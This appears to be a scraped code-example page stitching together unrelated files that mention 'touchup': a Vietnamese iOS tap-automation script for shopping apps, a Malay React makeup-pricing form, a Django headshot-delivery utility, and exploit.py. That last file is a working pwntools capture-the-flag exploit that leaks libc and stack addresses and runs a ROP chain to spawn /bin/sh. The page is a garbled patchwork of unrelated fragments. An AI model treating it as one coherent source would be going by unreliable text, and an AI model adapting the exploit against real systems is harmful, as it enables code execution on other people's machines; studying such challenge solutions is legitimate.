Tim");2804 at.touchDown(0, find_BtnTim.data.x, find_BtnTim.data.y);2805 at.usleep(50000);2806 at.touchUp(0, find_BtnTim.data.x, find_BtnTim.data.y);2807 at.usleep(1000000);2808 }2809 }2810 }2811 }2812 tikiThemGioHang() {2813 this.AtHelper.thongBao("Thuc hien them gio hang");2814 at.appRun("vn.tiki.app.Tiki");2815 at.usleep(2000000);2816 const find_ChonMua = this.findMau(382, 1265, 16728654, 2);2817 if (find_ChonMua.success == true) {2818 this.AtHelper.thongBao("Click Chon mua");2819 at.touchDown(0, find_ChonMua.data.x, find_ChonMua.data.y);2820 at.usleep(50000);2821 at.touchUp(0, find_ChonMua.data.x, find_ChonMua.data.y);2822 at.usleep(2000000);2823 const find_ThemGioHang = this.findMau(394, 1266, 16728654, 2);2824 if (find_ThemGioHang.success == true) {2825 this.AtHelper.thongBao("Click Them Gio Hang");2826 at.touchDown(0, find_ThemGioHang.data.x, find_ThemGioHang.data.y);2827 at.usleep(50000);2828 at.touchUp(0, find_ThemGioHang.data.x, find_ThemGioHang.data.y);2829 at.usleep(1000000);2830 }2831 }2832 }2833 tikiChonVoucher(voucher1, voucher2) {2834 this.AtHelper.thongBao("Thuc hien nhap voucher");2835 at.appRun("vn.tiki.app.Tiki");2836 at.usleep(2000000);2837 const find_ApDung = this.findMau(612, 986, 875702, 2);2838 if (find_ApDung.success == true) {2839 this.AtHelper.thongBao("Click input voucher");2840 at.touchDown(0, 211, 989);2841 at.usleep(50000);2842 at.touchUp(0, 211, 989);2843 at.usleep(1000000);2844 this.AtHelper.inputTextCustom(voucher1);2845 at.usleep(2000000);2846 const find_ApDung1 = this.findMau(609, 610, 875702, 2);2847 if (find_ApDung1.success == true) {2848 this.AtHelper.thongBao("Click ap dung");2849 at.touchDown(0, find_ApDung1.data.x, find_ApDung1.data.y);2850 at.usleep(50000);2851 at.touchUp(0, find_ApDung1.data.x, find_ApDung1.data.y);2852 at.usleep(1000000);2853 this.AtHelper.thongBao("Click input voucher Zalo Pay");2854 at.touchDown(0, 251, 789);2855 at.usleep(50000);2856 at.touchUp(0, 251, 789);2857 at.usleep(1000000);2858 this.AtHelper.inputTextCustom(voucher2);2859 at.usleep(2000000);2860 this.AtHelper.thongBao("Click ap dung");2861 at.touchDown(0, find_ApDung1.data.x, find_ApDung1.data.y);2862 at.usleep(50000);2863 at.touchUp(0, find_ApDung1.data.x, find_ApDung1.data.y);2864 at.usleep(1000000);2865 }2866 }2867 else {2868 /////2869 }2870 }2871 lzdSearch(keyword) {2872 this.AtHelper.thongBao("Thuc hien input tu khooa " + keyword);2873 at.appRun("com.LazadaSEA.Lazada");2874 at.usleep(3000000);2875 const find_Back = this.findMau(37, 83, 4408131, 2);2876 if (find_Back.success == true) {2877 this.AtHelper.thongBao("Click go back");2878 at.touchDown(0, find_Back.data.x, find_Back.data.y);2879 at.usleep(50000);2880 at.touchUp(0, find_Back.data.x, find_Back.data.y);2881 at.usleep(1000000);2882 const find_HopQua = this.findMau(376, 668, 16263534, 2);2883 if (find_HopQua.success == true) {2884 this.AtHelper.thongBao("Click tat hop qua");2885 at.touchDown(0, 102, 250);2886 at.usleep(50000);2887 at.touchUp(0, 102, 250);2888 at.usleep(1000000);2889 }2890 const find_KinhLup = this.findMau(136, 81, 16777215, 2);2891 if (find_KinhLup.success == true) {2892 this.AtHelper.thongBao("Click Tim kiem");2893 at.touchDown(0, 222, 89);2894 at.usleep(50000);2895 at.touchUp(0, 222, 89);2896 at.usleep(2000000);2897 this.AtHelper.inputTextCustom(keyword);2898 at.usleep(2000000);2899 const find_Tim = this.findMau(657, 1283, 31487, 2);2900 if (find_Tim.success == true) {2901 this.AtHelper.thongBao("Click Tim");2902 at.touchDown(0, find_Tim.data.x, find_Tim.data.y);2903 at.usleep(50000);2904 at.touchUp(0, find_Tim.data.x, find_Tim.data.y);2905 at.usleep(1000000);2906 }2907 }2908 else {2909 const find_KinhLupXam = this.findMau(136, 81, 10066329, 2);2910 if (find_KinhLupXam.success == true) {2911 this.AtHelper.thongBao("Click Kinh Lup");2912 at.touchDown(0, find_KinhLupXam.data.x, find_KinhLupXam.data.y);2913 at.usleep(50000);2914 at.touchUp(0, find_KinhLupXam.data.x, find_KinhLupXam.data.y);2915 at.usleep(1000000);2916 this.AtHelper.inputTextCustom(keyword);2917 at.usleep(2000000);2918 const find_Tim = this.findMau(657, 1283, 31487, 2);2919 if (find_Tim.success == true) {2920 this.AtHelper.thongBao("Click Tim");2921 at.touchDown(0, find_Tim.data.x, find_Tim.data.y);2922 at.usleep(50000);2923 at.touchUp(0, find_Tim.data.x, find_Tim.data.y);2924 at.usleep(1000000);2925 }2926 }2927 }2928 }2929 }2930 luuRRS() {2931 this.AtHelper.thongBao("Open App XoaInfo");2932 at.appRun("com.ienthach.XoaInfo");2933 this.AtHelper.delayCus(3);2934 this.AtHelper.thongBao("Click input RRSName");2935 at.tap(572, 929);2936 this.AtHelper.delayCus(1);2937 at.tap(572, 1152);2938 this.AtHelper.delayCus(2);2939 //keyboard Continue2940 at.tap(369, 1269);2941 this.AtHelper.delayCus(2);2942 touchDown(5, 691.78, 1170.28);2943 usleep(4000000);2944 touchUp(5, 691.78, 1170.28);2945 this.AtHelper.delayCus(1);2946 at.inputText("lzd " + this.username);2947 this.AtHelper.delayCus(2);2948 //keyboard Done2949 at.tap(666, 863);2950 this.AtHelper.delayCus(2);2951 // option luuRRS2952 const optionLuuRRS = {2953 colors: [ // REQUIRED, colors and their relative positions2954 { color: 16777215, x: 0, y: 0 },2955 { color: 16777215, x: 1, y: 28 },2956 { color: 16777215, x: 30, y: 30 },2957 { color: 16777215, x: 24, y: 1 },2958 { color: 0, x: 15, y: 17 },...

Full Screen

Full Screen

MakeupForm.js

Source:MakeupForm.js Github

copy

Full Screen

1import React, {useContext, useState, useEffect} from 'react'2import { Button, Form, FormGroup, Label, Input, FormText, UncontrolledTooltip } from 'reactstrap';3import Router from 'next/router';4import '../../../../css/venueform.css'5import AddServiceContext from '../../../../contexts/AddServiceContext'6// import Multiselect from 'multiselect-dropdown-react';7import Swal from 'sweetalert2'8 9function MakeupForm({pagex, setModalEdit,editModal}) {10 const jenisMakeupArray = [11 {jenis:'Full Makeup', status:false},12 {jenis:'Touchup', status:false}13 ];14 const jantinaArray = [15 {jantina:'Lelaki', status:false},16 {jantina:'Wanita', status:false}17 ];18 const {getServiceDetailsMakeup, addServiceDetailsMakeup} = useContext(AddServiceContext);19 const [hargaTouchup, sethargaTouchup] = useState('')20 const [hargaFull, sethargaFull] = useState('')21 const [jantina, setjantina] = useState('')22 const [jenisMakeup, setjenisMakeup] = useState('')23 const [makeupFull, setmakeupFull] = useState(false)24 const [hargaDiscountFull, sethargaDiscountFull] = useState(0);25 const [discountFull, setdiscountFull] = useState(0);26 const [makeupTouchup, setmakeupTouchup] = useState(false)27 const [hargaDiscountTouchup, sethargaDiscountTouchup] = useState(0);28 const [discountTouchup, setdiscountTouchup] = useState(0);29 useEffect(() =>{30 sethargaTouchup(getServiceDetailsMakeup.hargaTouchup)31 sethargaDiscountTouchup(getServiceDetailsMakeup.hargaDiscountTouchup)32 setdiscountTouchup(getServiceDetailsMakeup.discountTouchup)33 sethargaFull(getServiceDetailsMakeup.hargaFull)34 sethargaDiscountFull(getServiceDetailsMakeup.hargaDiscountFull)35 setdiscountFull(getServiceDetailsMakeup.discountFull)36 setjantina(getServiceDetailsMakeup.jantina)37 setjenisMakeup(getServiceDetailsMakeup.jenisMakeup)38 setmakeupFull(()=> {39 return getServiceDetailsMakeup.hargaFull != 0 ? true : false40 })41 setmakeupTouchup(()=> {42 return getServiceDetailsMakeup.hargaTouchup != 0 ? true : false43 })44 },[getServiceDetailsMakeup])45 const handleChangeJenis = (e) => {46 let name = e.target.name;47 let check = e.target.checked;48 let x = jenisMakeup;49 50 if (check) {51 setjenisMakeup(old =>[...old, name])52 if (name == 'Full Makeup') {53 setmakeupFull(true)54 }else{55 setmakeupTouchup(true)56 }57 58 }else{59 let index = jenisMakeup.indexOf(name);60 x.splice(index,1);61 setjenisMakeup([...x]);62 if (name == 'Full Makeup') {63 setmakeupFull(false)64 sethargaFull(0)65 }else{66 setmakeupTouchup(false)67 sethargaTouchup(0)68 }69 }70 }71 const handleChangeJantina = (e) => {72 Swal.showLoading()73 let name = e.target.name;74 let check = e.target.checked;75 let x = jantina;76 if (check) {77 setjantina(old =>[...old, name])78 }else{79 let index = jantina.indexOf(name);80 x.splice(index,1);81 setjantina([...x]);82 }83 Swal.close()84 }85 const submitServiceDetails = () => {86 if (jenisMakeup.includes('Full Makeup') && hargaFull == 0) {87 alert('Sila input harga `Full Makeup` ')88 return false89 }90 if (jenisMakeup.includes('Touchup') && hargaTouchup == 0) {91 alert('Sila input harga `Touchup` ')92 return false93 }94 if (hargaFull == 0 && hargaTouchup == 0) {95 alert('Sila pilih jenis `makeup` ')96 return false97 }98 addServiceDetailsMakeup(hargaTouchup, hargaFull, jenisMakeup, jantina, discountTouchup, discountFull, hargaDiscountTouchup, hargaDiscountFull)99 Router.push(`/${pagex}/upload`);100 }101 const submitServiceDetails2 = () => {102 if (jenisMakeup.includes('Full Makeup') && hargaFull == 0) {103 alert('Sila input harga `Full Makeup` ')104 return false105 }106 if (jenisMakeup.includes('Touchup') && hargaTouchup == 0) {107 alert('Sila input harga `Touchup` ')108 return false109 }110 if (hargaFull == 0 && hargaTouchup == 0) {111 alert('Sila pilih jenis `makeup` ')112 return false113 }114 addServiceDetailsMakeup(hargaTouchup, hargaFull, jenisMakeup, jantina, discountTouchup, discountFull, hargaDiscountTouchup, hargaDiscountFull)115 setModalEdit(false)116 }117 return (118 <div className="form-service">119 <div className="form-section">120 <h4>Jenis Makeup</h4>121 {122 jenisMakeupArray.map( (cty, index) =>{123 let jen = cty.jenis;124 let chckd = false;125 if (jenisMakeup != null) {126 chckd = jenisMakeup.includes(jen) ? true : false;127 {/* if (jen == 'Full Makeup') {128 setmakeupFull(chckd)129 }else{130 setmakeupTouchup(chckd)131 } */}132 }133 return(134 <div key={index} className="area-covered-div">135 <label>136 <input type="checkbox"137 name={jen} 138 checked={chckd}139 onChange={(e) => handleChangeJenis(e)}140 />141 {jen}142 </label>143 </div>144 )145 })146 }147 </div>148 <div className="form-section">149 <h4>Jantina</h4>150 {151 jantinaArray.map( (cty, index) =>{152 let jen = cty.jantina;153 let chckd = false;154 if (jantina != null) {155 chckd = jantina.includes(jen) ? true : false;156 }157 return(158 <div key={index} className="area-covered-div">159 <label>160 <input type="checkbox"161 name={jen} 162 checked={chckd}163 onChange={(e) => handleChangeJantina(e)}164 />165 {jen}166 </label>167 </div>168 )169 })170 }171 </div>172 173 {174 makeupFull ? 175 <div>176 <div className="form-section">177 <h4>Harga Makeup Full (RM)</h4>178 <Input className="form-custom" type="number" placeholder="" value={hargaFull} onChange={(e) => {sethargaFull(e.target.value)}} />179 </div>180 <div className="form-section">181 <h4>Diskaun (%)</h4>182 <Input className="form-custom harga" type="number" onChange={(e) => {183 let x = e.target.value;184 let har = hargaFull;185 x = x / 100;186 har = har - (har * x);187 sethargaDiscountFull(har);188 setdiscountFull(e.target.value)189 }} value={discountFull} 190 />191 </div>192 <div className="form-section">193 <h4>Harga selepas Diskaun (RM)</h4>194 <Input className="form-custom harga" type="number" disabled value={hargaDiscountFull} />195 </div>196 </div> 197 :198 <div>199 {''}200 </div>201 }202 {203 makeupTouchup ?204 <div> 205 <div className="form-section">206 <h4>Harga Touchup (RM)</h4>207 <Input className="form-custom" type="number" placeholder="" value={hargaTouchup} onChange={(e) => {sethargaTouchup(e.target.value)}} />208 </div>209 <div className="form-section">210 <h4>Diskaun (%)</h4>211 <Input className="form-custom harga" type="number" onChange={(e) => {212 let x = e.target.value;213 let har = hargaTouchup;214 x = x / 100;215 har = har - (har * x);216 sethargaDiscountTouchup(har);217 setdiscountTouchup(e.target.value)218 }} value={discountTouchup} 219 />220 </div>221 <div className="form-section">222 <h4>Harga selepas Diskaun (RM)</h4>223 <Input className="form-custom harga" type="number" disabled value={hargaDiscountTouchup} />224 </div>225 </div>226 :227 <div>228 {''}229 </div>230 }231 {232 !editModal ? 233 <div className="form-button">234 <Button className="btn-cancel" onClick={() => Router.push(`/${pagex}/about`)}>Back</Button>{' '}235 <Button className="btn-next" onClick={() => submitServiceDetails()}>Next</Button>{' '}236 </div>237 :238 <div className="form-button">239 <Button className="btn-cancel" onClick={() => setModalEdit(false)}>Cancel</Button>{' '}240 <Button className="btn-next" onClick={() => submitServiceDetails2()}>Confirm</Button>{' '}241 </div>242 }243 <style jsx>{`244 .form-button { display: flex; justify-content: space-between; }245 .checkbox-type { display: flex; justify-content:space-around; align-item: center; }246 p {font-weight:400; color: #3e3e3e; font-size: 14px; margin-bottom: 5px;}247 .form-section { margin: 20px 0; }248 h4 { text-align: center; font-weight: 400; color: #75848E; font-size: 16px; margin-bottom: 10px; }249 .area-covered-div { display: inline-block; margin-right: 10px; }250 .area-covered-div > label { font-weight: 400; color: #3E3E3E; font-size: 14px;}251 .area-covered-div > label > input { margin-right: 5px; }252 `}</style>253 </div>254 )255}...

Full Screen

Full Screen

utils.py

Source:utils.py Github

copy

Full Screen

1from django.conf import settings2from django.core.mail import send_mail3from django.core.mail import EmailMessage4from datetime import datetime5from datetime import timedelta6from random import SystemRandom7import string8import os9import dropbox10import StringIO11import csv12from .models import HeadshotPurchase, HeadshotOrder, Booking, Nextshoot, Signup13# create daily touchup folder14def create_touchup_folder(folder_name):15 token = settings.DROPBOX_TOKEN16 dbx = dropbox.Dropbox(token)17 touchup_folder = settings.DROPBOX_TOUCHUP18 free_deliverable_path = os.path.join(touchup_folder, folder_name, 'Free', 'Deliverable')19 paid_deliverable_path = os.path.join(touchup_folder, folder_name, 'Upgraded', 'Deliverable')20 try:21 dbx.files_create_folder(free_deliverable_path)22 dbx.files_create_folder(paid_deliverable_path)23 except Exception, e:24 print '[FAIL] fail to create folder ' + folder_name25 raise e26 else:27 print '[SUCCESS] created folders ' + folder_name28 29# generate touchup list for mmp30def generate_touchup_list(folder_name):31 32 # orders = self.headshotorder_set.all()33 # right now do the linear scan on entire objects34 # in the future, do shoot class method or something more efficient35 # filter using the copied_to_touchup36 # make sure to do this BEFORE calling the photo_to_touchup37 purchases = HeadshotPurchase.objects.filter(copied_to_touchup=False).exclude(touchup=1)38 file_name = folder_name + '.csv'39 if purchases:40 print 'Generating ' + str(len(purchases)) + ' purchases for mmp...'41 # name should be folder name (date)42 csvf = StringIO.StringIO()43 writer = csv.writer(csvf)44 writer.writerow(['Image name', 'Background', 'Resolution', 'Special Request'])45 46 for p in purchases:47 # customized add teeth whitening..48 if p.touchup == 4:49 sr = p.special_request50 else:51 sr = ''52 writer.writerow([str(p.id) + p.image.name, p.get_background_display(), p.get_touchup_display(), sr])53 # generate touchup list to send54 email = EmailMessage('Auto gened Touchup List Test', ' ', 'Bryte Photo <' + settings.EMAIL_HOST_USER + '>', ['byyagp@gmail.com'])55 email.attach(file_name, csvf.getvalue(), 'text/csv')56 try:57 email.send()58 except Exception, e:59 print 'Touchup List not sent..'60 pass61 else:62 print 'Touchup List sent!'63 64 print 'Done..'65 # send the list to email66 else:67 print 'There\'s nothing to generate'68# touchup to prod, doesn't need to be the subclass of this69def touchup_to_prod_free(folder_name):70 token = settings.DROPBOX_TOKEN71 dbx = dropbox.Dropbox(token)72 orders = HeadshotOrder.objects.filter(touchup_folder=folder_name)73 # do the filtering in purchase for now74 purchases = []75 for o in orders:76 purchases.extend(o.headshotpurchase_set.filter(copied_to_prod=False))77 print 'purchases found!'78 p_ids = [str(p.id) for p in purchases]79 # print purchases80 touchup_folder_path = os.path.join(settings.DROPBOX_TOUCHUP, folder_name, 'Free', 'Deliverable')81 try:82 items = dbx.files_list_folder(touchup_folder_path).entries83 except Exception, e:84 raise e85 else:86 if items:87 count = 088 for item in items:89 # assert item.name in image_names, 'No purchase instance found! ' + item.name90 file_name = item.name91 # parse the name to find id92 p_id = ''93 for c in file_name:94 if not c.isalpha():95 p_id += c96 else:97 break98 try:99 ind = p_ids.index(p_id)100 except ValueError, e:101 print 'already done that. ' + file_name102 continue103 purchase_instance = purchases[ind]104 booking = purchase_instance.order.booking105 N = 6106 hash_code = ''.join(SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(N))107 prod_path = os.path.join(booking.dropbox_folder, 'Deliverable', hash_code + item.name)108 # do the copy thing109 try:110 dbx.files_copy(item.path_lower, prod_path)111 except Exception, e:112 print '[FAIL] copy from touchup to prod ' + booking.email + ' ' + purchase_instance.image.name + ' Should not be happening'113 else:114 print '[SUCCESS] copy from touchup to prod ' + booking.email + ' ' + purchase_instance.image.name115 purchase_instance.copied_to_prod = True116 super(HeadshotPurchase, purchase_instance).save()117 # change the order flag as well118 # since all the purchases in one order will be moved to touchup and then to prod all together. If 1 purchase is copied to prod, that means its entire order has been copied to prod. TBTest119 purchase_instance.order.copied_to_prod = True120 super(HeadshotOrder, purchase_instance.order).save()121 count += 1122 print str(count) + ' files copied..'123 else:124 print 'There aren\'t any photos in touchup deliverable yet'125def touchup_to_prod_paid(folder_name):126 token = settings.DROPBOX_TOKEN127 dbx = dropbox.Dropbox(token)128 orders = HeadshotOrder.objects.filter(touchup_folder=folder_name)129 # do the filtering in purchase for now130 purchases = []131 for o in orders:132 purchases.extend(o.headshotpurchase_set.filter(copied_to_prod=False))133 print 'purchases found!'134 p_ids = [str(p.id) for p in purchases]135 # print purchases136 touchup_folder_path = os.path.join(settings.DROPBOX_TOUCHUP, folder_name, 'Upgraded', 'Deliverable')137 try:138 items = dbx.files_list_folder(touchup_folder_path).entries139 except Exception, e:140 raise e141 else:142 if items:143 count = 0144 for item in items:145 # assert item.name in image_names, 'No purchase instance found! ' + item.name146 file_name = item.name147 # filter out temp files148 # parse the name to find id149 p_id = ''150 for c in file_name:151 if not c.isalpha():152 p_id += c153 else:154 break155 # print p_id156 try:157 ind = p_ids.index(p_id)158 except ValueError, e:159 # for situations like manual copying160 print 'Already copied.. Continue ' + file_name 161 continue162 purchase_instance = purchases[ind]163 booking = purchase_instance.order.booking164 N = 6165 hash_code = ''.join(SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(N))166 prod_path = os.path.join(booking.dropbox_folder, 'Deliverable', hash_code + item.name)167 # do the copy thing168 try:169 dbx.files_copy(item.path_lower, prod_path)170 except Exception, e:171 print '[FAIL] copy from touchup to prod ' + booking.email + ' ' + purchase_instance.image.name + ' Should not be happening'172 else:173 print '[SUCCESS] copy from touchup to prod ' + booking.email + ' ' + purchase_instance.image.name174 purchase_instance.copied_to_prod = True175 super(HeadshotPurchase, purchase_instance).save()176 # change the order flag as well177 # since all the purchases in one order will be moved to touchup and then to prod all together. If 1 purchase is copied to prod, that means its entire order has been copied to prod. TBTest178 purchase_instance.order.copied_to_prod = True179 super(HeadshotOrder, purchase_instance.order).save()180 count += 1181 print str(count) + ' files copied..'182 else:183 print 'There aren\'t any photos in touchup deliverable yet'184def deliver_deliverable():185 shoots = Nextshoot.objects.all()186 for shoot in shoots:187 print 'working on ' + shoot.__unicode__()188 shoot.deliver_deliverables()189 print '\n'190 print 'DONE DELIVERING!'191 192def photo_to_touchup(folder_name):193 shoots = Nextshoot.objects.all()194 for shoot in shoots:195 print 'working on ' + shoot.__unicode__()196 shoot.photo_to_touchups(folder_name)197 print '\n'198 print 'DONE TRANSFERRING TO TOUCHUP'199# do everyday200def step_1(folder_name):201 create_touchup_folder(folder_name)202 generate_touchup_list(folder_name)203 photo_to_touchup(folder_name)204# list all the email actions205REMINDER = (-1, 'afternoon')206NOTIFICATION = (-1, 'evening')207MY_HEADSHOT = (2, '5-8 PM')208NO_FOLLOWUP_1 = (6, 'afternoon')209NO_FOLLOWUP_2 = (9, 'morning')210NO_FOLLOWUP_3 = (14, 'evening')211NO_FOLLOWUP_4 = (30, 'afternoon')212NO_FOLLOWUP_5 = (60, 'morning')213def email_time_list():214 shoots = Nextshoot.objects.all()215 time_list = []216 for shoot in shoots:217 date = shoot.date218 r = date + timedelta(days=REMINDER[0])219 n = date + timedelta(days=NOTIFICATION[0])220 m = date + timedelta(days=MY_HEADSHOT[0])221 nf1 = date + timedelta(days=NO_FOLLOWUP_1[0])222 nf2 = date + timedelta(days=NO_FOLLOWUP_2[0])223 nf3 = date + timedelta(days=NO_FOLLOWUP_3[0])224 nf4 = date + timedelta(days=NO_FOLLOWUP_4[0])225 nf5 = date + timedelta(days=NO_FOLLOWUP_5[0])226 time_list.append((shoot.school + ' - ' + shoot.date.strftime('%m-%d'), r, 'Reminder Email', REMINDER[1]))227 time_list.append((shoot.school + ' - ' + shoot.date.strftime('%m-%d'), n, 'Notification Email', NOTIFICATION[1]))228 time_list.append((shoot.school + ' - ' + shoot.date.strftime('%m-%d'), m, 'My Headshot Email', MY_HEADSHOT[1]))229 time_list.append((shoot.school + ' - ' + shoot.date.strftime('%m-%d'), nf1, 'No Followup 1', NO_FOLLOWUP_1[1]))230 time_list.append((shoot.school + ' - ' + shoot.date.strftime('%m-%d'), nf2, 'No Followup 2', NO_FOLLOWUP_2[1]))231 time_list.append((shoot.school + ' - ' + shoot.date.strftime('%m-%d'), nf3, 'No Followup 3', NO_FOLLOWUP_3[1]))232 time_list.append((shoot.school + ' - ' + shoot.date.strftime('%m-%d'), nf4, 'No Followup 4', NO_FOLLOWUP_4[1]))233 time_list.append((shoot.school + ' - ' + shoot.date.strftime('%m-%d'), nf5, 'No Followup 5', NO_FOLLOWUP_5[1]))234 #sorted_by_second = sorted(data, key=lambda tup: tup[1])235 sorted_time_list = sorted(time_list, key=lambda tup: tup[1])236 237 for t in sorted_time_list:238 if t[1] >= datetime.date(datetime.now()):239 print t[0] + ' -- ' + t[2] + ': ' + t[1].strftime('%Y-%m-%d') + '\t' + t[3]240# add no shows to the signup list241def no_shows_to_signup_list():242 shoots = Nextshoot.objects.filter(noshow_signup=False).filter(active=False)243 for shoot in shoots:244 shoot.noshow_to_signup()245 print 'Done..'246# clean signup list, remove duplicates..247def clean_signups():248 signups = Signup.objects.all()249 signup_email_list = []250 for signup in signups:251 if signup.email.lower() in signup_email_list:252 print 'Duplicate ' + signup.email + ' removed...'253 signup.is_sub = False254 super(Signup, signup).save()255 else:256 signup_email_list.append(signup.email.lower())...

Full Screen

Full Screen

exploit.py

Source:exploit.py Github

copy

Full Screen

1from pwn import *2from bitstring import Bits3from argparse import ArgumentParser4OFFSET_LEAK_LIBC = 0x5d405OFFSET_STACK_PTR = 0x615c6OFFSET_LEAK_STACK = 0x60487OFFSET_OFFSET = 0x4188MAGIC = 0x10a38c9STDIN_OFFSET = 0x3eba8310BIN_SH = 0x1B3E9A11# LIBC gadgets 12POP_RDI = 0x000000000002155f13POP_RSI = 0x0000000000023e6a14POP_RDX = 0x0000000000001b9615POP_RAX = 0x00000000000439c816SYSCALL = 0x00000000000d297517# MAIN MENU18def uploadAscii(id, image, row=32, col=32, offset=0):19 c.recvuntil('>>> ')20 c.sendline('1')21 c.recvuntil('Ascii id: ')22 c.send(id)23 c.recvuntil('Upload ascii')24 c.send('ASCI' + p32(col) + p32(row) + p32(offset) + image)25def downloadAscii(id):26 c.recvuntil('>>> ')27 c.sendline('2')28 c.recvuntil('Ascii id: ')29 c.send(id)30 return c.recvuntil('<<<EOF').split('<<<EOF')[0]31def deleteAscii(id):32 c.recvuntil('>>> ')33 c.sendline('3')34 c.recvuntil('Ascii id: ')35 c.send(id)36def moveToAsciiShop():37 c.recvuntil('>>> ')38 c.sendline('4')39# END MAIN MENU40# ASCII SHOP MENU41def touchupAscii(id):42 c.recvuntil('>>> ')43 c.sendline('1')44 c.recvuntil('Ascii id: ')45 c.send(id)46def addFilter(id, filter):47 c.recvuntil('>>> ')48 c.sendline('2')49 c.recvuntil('Ascii id: ')50 c.send(id)51 c.recvuntil('Upload filter')52 c.send(filter)53def quitAsciiShop():54 c.recvuntil('>>> ')55 c.sendline('4')56# END ASCII SHOP MENU57# TOUCHUP MENU58def changePixel(x, y, character):59 c.recvuntil('>>> ')60 c.sendline('1')61 c.recvuntil('pixel: ')62 c.sendline('(' + str(x) + ', ' + str(y) + ') ' + character)63def printGrid():64 c.recvuntil('>>> ')65 c.sendline('2')66 return c.recvuntil('1. Change Pixel').split('1. Change Pixel')[0]67def quitTouchup():68 c.recvuntil('>>> ')69 c.sendline('4')70# END TOUCHUP MENU71# Parsing argument72p = ArgumentParser()73p.add_argument('-r', '--remote', action='store_true')74args = p.parse_args()75# Generic image76image = ''77for i in range(32):78 image += (chr(0x41 + i) * 32)79if args.remote == True:80 c = remote('challenges.fbctf.com', 1340)81else:82 args.remote = False83 c = process('./asciishop')84raw_input()85if not args.remote:86 for i in range(5):87 for j in range(16):88 uploadAscii(str(32 * i + j).rjust(7, '0'), image)89uploadAscii('WRITE00', image, 0x80000000, 0x80000000, 0x80000000)90uploadAscii('READ000', image)91# Leak LIBC92moveToAsciiShop()93touchupAscii('WRITE00')94changePixel(OFFSET_OFFSET, 0, chr(OFFSET_LEAK_LIBC & 0xFF))95changePixel(OFFSET_OFFSET + 1, 0, chr((OFFSET_LEAK_LIBC >> 8) & 0xFF))96quitTouchup()97touchupAscii('READ000')98leak = printGrid()99leak = leak.split(' 0 |')[1].split('\n')[0].replace('ffffff', '').replace(' ', ' \x00').replace(' ', ' ')100leak = leak.split(' ')[1:]101libc_base = 0102for i in range(6):103 if len(leak[i]) == 2:104 libc_base += int(leak[i], 16) << (8 * i)105 else:106 libc_base += ord(leak[i]) << (8 * i)107print 'LIBC base: ' + hex(libc_base)108quitTouchup()109# Leak stack110touchupAscii('WRITE00')111changePixel(OFFSET_OFFSET, 0, chr(OFFSET_LEAK_STACK & 0xFF))112changePixel(OFFSET_OFFSET + 1, 0, chr((OFFSET_LEAK_STACK >> 8) & 0xFF))113quitTouchup()114touchupAscii('READ000')115leak = printGrid()116leak = leak.split(' 0 |')[1].split('\n')[0].replace('ffffff', '').replace(' ', ' \x00').replace(' ', ' ')117leak = leak.split(' ')[1:]118stack_position = 0119for i in range(6):120 if len(leak[i]) == 2:121 stack_position += int(leak[i], 16) << (8 * i)122 else:123 stack_position += ord(leak[i]) << (8 * i)124stack_position = stack_position -0x70 + 0x400 125print 'Stack position: ' + hex(stack_position)126quitTouchup()127# Forging new stack ptr128touchupAscii('WRITE00')129for i in range(6):130 changePixel(OFFSET_STACK_PTR + i, 0, chr(((stack_position) >> (8 * i)) & 0xFF))131quitTouchup()132# ROP133filter_ascii = p64(0x0)134filter_ascii += p64(libc_base + POP_RDI)135filter_ascii += p64(libc_base + BIN_SH)136filter_ascii += p64(libc_base + POP_RSI)137filter_ascii += p64(0x0)138filter_ascii += p64(libc_base + POP_RDX)139filter_ascii += p64(0x0)140filter_ascii += p64(libc_base + POP_RAX)141filter_ascii += p64(0x3b)142filter_ascii += p64(libc_base + SYSCALL)143filter_ascii = filter_ascii.ljust(0x400, '\x00')144addFilter('READ000', filter_ascii)145quitAsciiShop()...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run fMBT automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful